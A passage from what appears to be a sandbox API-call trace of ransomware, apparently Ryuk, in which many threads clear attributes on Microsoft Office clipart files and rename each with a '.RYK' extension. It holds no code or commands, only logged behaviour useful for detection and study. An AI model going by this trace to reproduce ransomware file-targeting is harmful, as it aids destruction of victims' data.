	[0243.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2394
	os_tid = 0x2b10

	[0243.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG", dwFileAttributes=0x80) returned 0
	[0243.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.547] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2395
	os_tid = 0x2b14

	[0243.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG", dwFileAttributes=0x80) returned 0
	[0243.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.546] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2396
	os_tid = 0x2b18

	[0243.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG", dwFileAttributes=0x80) returned 0
	[0243.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2397
	os_tid = 0x2b1c

	[0243.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG", dwFileAttributes=0x80) returned 0
	[0243.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.414] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2398
	os_tid = 0x2b20

	[0243.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG", dwFileAttributes=0x80) returned 0
	[0243.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.416] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2402
	os_tid = 0x2b48

	[0243.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG", dwFileAttributes=0x80) returned 0
	[0243.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.418] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2403
	os_tid = 0x2b4c

	[0243.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG", dwFileAttributes=0x80) returned 0
	[0243.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.559] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2404
	os_tid = 0x2b50

	[0243.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG", dwFileAttributes=0x80) returned 0
	[0243.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2405
	os_tid = 0x2b54

	[0243.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG", dwFileAttributes=0x80) returned 0
	[0243.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2406
	os_tid = 0x2b58

	[0243.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG", dwFileAttributes=0x80) returned 0
	[0243.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2407
	os_tid = 0x2b5c

	[0243.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG", dwFileAttributes=0x80) returned 0
	[0243.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.563] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2408
	os_tid = 0x2b60

	[0243.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG", dwFileAttributes=0x80) returned 0
	[0243.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.564] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2409
	os_tid = 0x2b64

	[0243.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG", dwFileAttributes=0x80) returned 0
	[0243.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.566] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2410
	os_tid = 0x2b68

	[0243.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG", dwFileAttributes=0x80) returned 0
	[0243.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.567] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2411
	os_tid = 0x2b6c

	[0243.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG", dwFileAttributes=0x80) returned 0
	[0243.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.569] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2412
	os_tid = 0x2b70

	[0243.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG", dwFileAttributes=0x80) returned 0
	[0243.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2413
	os_tid = 0x2b8c

	[0243.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG", dwFileAttributes=0x80) returned 0
	[0243.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.573] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2414
	os_tid = 0x2b90

	[0243.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG", dwFileAttributes=0x80) returned 0
	[0243.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.797] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2415
	os_tid = 0x2b94

	[0243.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG", dwFileAttributes=0x80) returned 0
	[0243.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.798] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2416
	os_tid = 0x2b98

	[0243.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG", dwFileAttributes=0x80) returned 0
	[0243.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2417
	os_tid = 0x2b9c

	[0243.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG", dwFileAttributes=0x80) returned 0
	[0243.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.804] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2418
	os_tid = 0x2ba0

	[0243.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG", dwFileAttributes=0x80) returned 0
	[0243.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.580] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2419
	os_tid = 0x2ba4

	[0243.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG", dwFileAttributes=0x80) returned 0
	[0243.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2420
	os_tid = 0x2ba8

	[0243.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG", dwFileAttributes=0x80) returned 0
	[0243.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2421
	os_tid = 0x2bac

	[0243.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID", dwFileAttributes=0x80) returned 0
	[0243.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2422
	os_tid = 0x2bb0

	[0243.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID", dwFileAttributes=0x80) returned 0
	[0243.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
